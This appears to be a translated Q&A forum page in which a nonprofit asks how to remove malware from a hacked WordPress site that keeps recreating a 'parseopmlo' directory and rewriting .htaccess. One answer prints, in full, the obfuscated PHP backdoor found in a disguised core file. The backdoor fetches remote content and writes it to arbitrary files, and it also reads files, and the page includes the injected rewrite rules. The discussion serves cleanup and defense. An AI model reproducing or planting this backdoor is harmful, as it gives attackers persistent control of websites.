找不到创建'parseopmlo'目录的恶意代码

问题描述 投票:-1回答:3

我为非盈利组织工作。我们的WordPress网站(Bluehost上的共享托管)本周早些时候被黑了,黑客似乎已经创建了一个脚本,它自动在root中创建一个名为'parseopmlo'的目录,里面有两个文件,index.php和moban.html。它同时编辑.htaccess文件,添加以下代码:

RewriteRule ^.*[-/]n(\d+)-.*$ parseopmlo/index\.php?id=$1&%{QUERY_STRING} [L]

RewriteRule ^n(\d+)-.*$ parseopmlo/index\.php?id=$1&%{QUERY_STRING} [L]

RewriteRule ^r(\d+)[-/].*[-/]n(\d+)-.*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]

RewriteRule ^r(\d+)[-/]n(\d+)[-/].*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]

RewriteRule ^n(\d+)[-/].*[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]

RewriteRule ^n(\d+)[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]

RewriteRule ^.*[-/]n(\d+)[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]

RewriteRule ^.*[-/]n(\d+)[-/].*[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]

RewriteRule ^.*[-/]r(\d+)[-/].*[-/]n(\d+)[-/].*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]

RewriteRule ^.*[-/]r(\d+)[-/]n(\d+)[-/].*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]

我已经多次删除了该目录,并多次恢复了一个干净的.htaccess文件。每次重新创建目录,并在5-30分钟内再次攻击.htaccess。

我将所有密码更改为自动生成的密码非常强大。没有人坐在我们网站的FTP上,手动进行这些更改。

它是我们服务器上的脚本,但我找不到它。我使用带有grep命令的SSH来递归搜索服务器上的每个文件,查找包含文本字符串'parseopmlo'的任何内容,唯一的结果是.htaccess中的代码行。我希望它会显示在包含创建目录的脚本的任何文件中。没有骰子。

如果你谷歌'parseopmlo'你会得到大量的点击其他网站以同样的方式被黑客入侵,但没有提到如何解决这个问题。

有关如何查找和删除恶意代码的任何想法?

php .htaccess mkdir
3个回答
1
投票

为了任何可能在将来谷歌“parseopmlo”寻找解决方案的人的利益...在Bluehost的恶意软件扫描的帮助下,我确定了导致问​​题的文件。它是:/ wp-includes/customize/class-wp-customize-filters-setting.php并且为了记录,在WP的干净版本中,该文件名中包含单个“过滤器”,而不是复数“过滤器”。 Bluehost将该文件中的恶意软件归类为SL-PHP-FILEHACKER-md5-bfcn.UNOFFICIAL

以下是它包含的代码:

    <?php


@ini_set('display_errors', 0);@set_time_limit(3600);
$q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 =  $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 =  $O00O0O{23}.$O00O0O{24}.$O00O0O{25};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63};
if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}
foreach($OO0O00 as $O00O00o=>$O00Oo0o){
    $$O00O00o = $O00Oo0o;
}

if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
    header("HTTP/1.1 404 Not Found");  
    header("Status: 404 Not Found");  
    exit; 
}

if(isset($act) && $act == 'check' && isset($check_file)){
    if(file_exists($check_file)){
        echo '#ok#';
    }
}

if(isset($act) && $act == 'test'){
        echo '#ok#';
}

if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
{

            $pfile = $recover_file;
            $date = $OO0O0O($recover_file_url);
            gdir_file($recover_file);
            @chmod($pfile,0755);

            if($date && file_put_contents($pfile,$date)){
                echo '#ok#';
            }else{
                echo '#fail#';
            }

    }
}

if(isset($act) && $act == 'redate' && isset($redate_file)){
    if(file_exists($redate_file)){
        echo rdFile($redate_file);
    }
}

function RandAbc($length = "") {
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
    return ($str);
} 

function rdFile($file){
    if(function_exists('file_get_contents')){
        return file_get_contents($file);
    }else{
        $handle = fopen($file, "r");
        $contents = fread($handle, filesize($file));
        fclose($handle);
        return $contents;
    }
}

function cget($url,$loop=10){
    $data = false;        $i = 0; 

    while(!$data) {
             $data = tcget($url);             if($i++ >= $loop) break;        }
    return $data;
}

function tcget($url,$proxy=''){
    global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
     $data = '';        $url = "$OO0OO0O$O00OO0.$O00OOO/".$url;
 $url = trim($url);     if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
         $ch = curl_init();         curl_setopt($ch, CURLOPT_URL, $url);         curl_setopt($ch, CURLOPT_HEADER, false);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        
         curl_setopt($ch, CURLOPT_TIMEOUT, 60);         $data = curl_exec($ch);         curl_close($ch);      }

     if ($data == ''){
         if (function_exists('file_get_contents') && $url){
             $data = @file_get_contents($url);             }
         }

     if (($data == '') && $url){
         if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
             ($fp = @fopen($url, 'r'));            
             if ($fp){

                 while (!@feof($fp)){
                     $data .= @fgets($fp) . '';                     }

                 @fclose($fp);                 }
             }
         }
     return $data;  
}

function m_mkdir($dir){
        if(!is_dir($dir)) mkdir($dir);
    }

function gdir_file($gDir=''){
        global $BT;
        $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
        $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
        $arr = explode(DIRECTORY_SEPARATOR,$gDir);

        if(count($arr) <= 0) return;


        if(!strstr($gDir,$BT))
            $dir = $BT;
        else
            $dir = '';

        for($i = 0 ; $i < count($arr)-1 ; $i++){
            $dir .= '/' . $arr[$i];
            m_mkdir($dir);
        }

        return $dir;
}

//

我不是编码员,所以我真的很难以理解如何编辑我们的.htaccess文件。但确实如此。


0
投票

您的服务器受到了损害。您的WordPress安装中添加了一些内容。这就是重新创建“parseopmlo”目录的原因。

脚步:

  1. 联系Bluehost的支持。
  2. 最有可能的是,他们会删除您的网站,或者告诉您这样做。 (整个目录树。)
  3. 准备好从备份中重新安装。 (你有备份,对吧?)
  4. 考虑安装安全插件。 WordFence很受欢迎。此外,搜索“Wordpress强化”。

祝好运。


0
投票

我发现在wp-includes,wp-admin:template-loader.php,load.php,user-terms.php,replace.php和一些.gif图像中感染了多个文件。

我安装了Sucuri Security Wordpress的免费版本(google it),它可以轻松突出显示所有受损文件。我希望它有所帮助。

此外,攻击者上传了一个html文件,并在网站管理员控制台中添加为所有者,然后上传了23个包含数十万个链接的站点地图。请务必验证用于身份验证的google html文件。

© www.soinside.com 2019 - 2024. All rights reserved.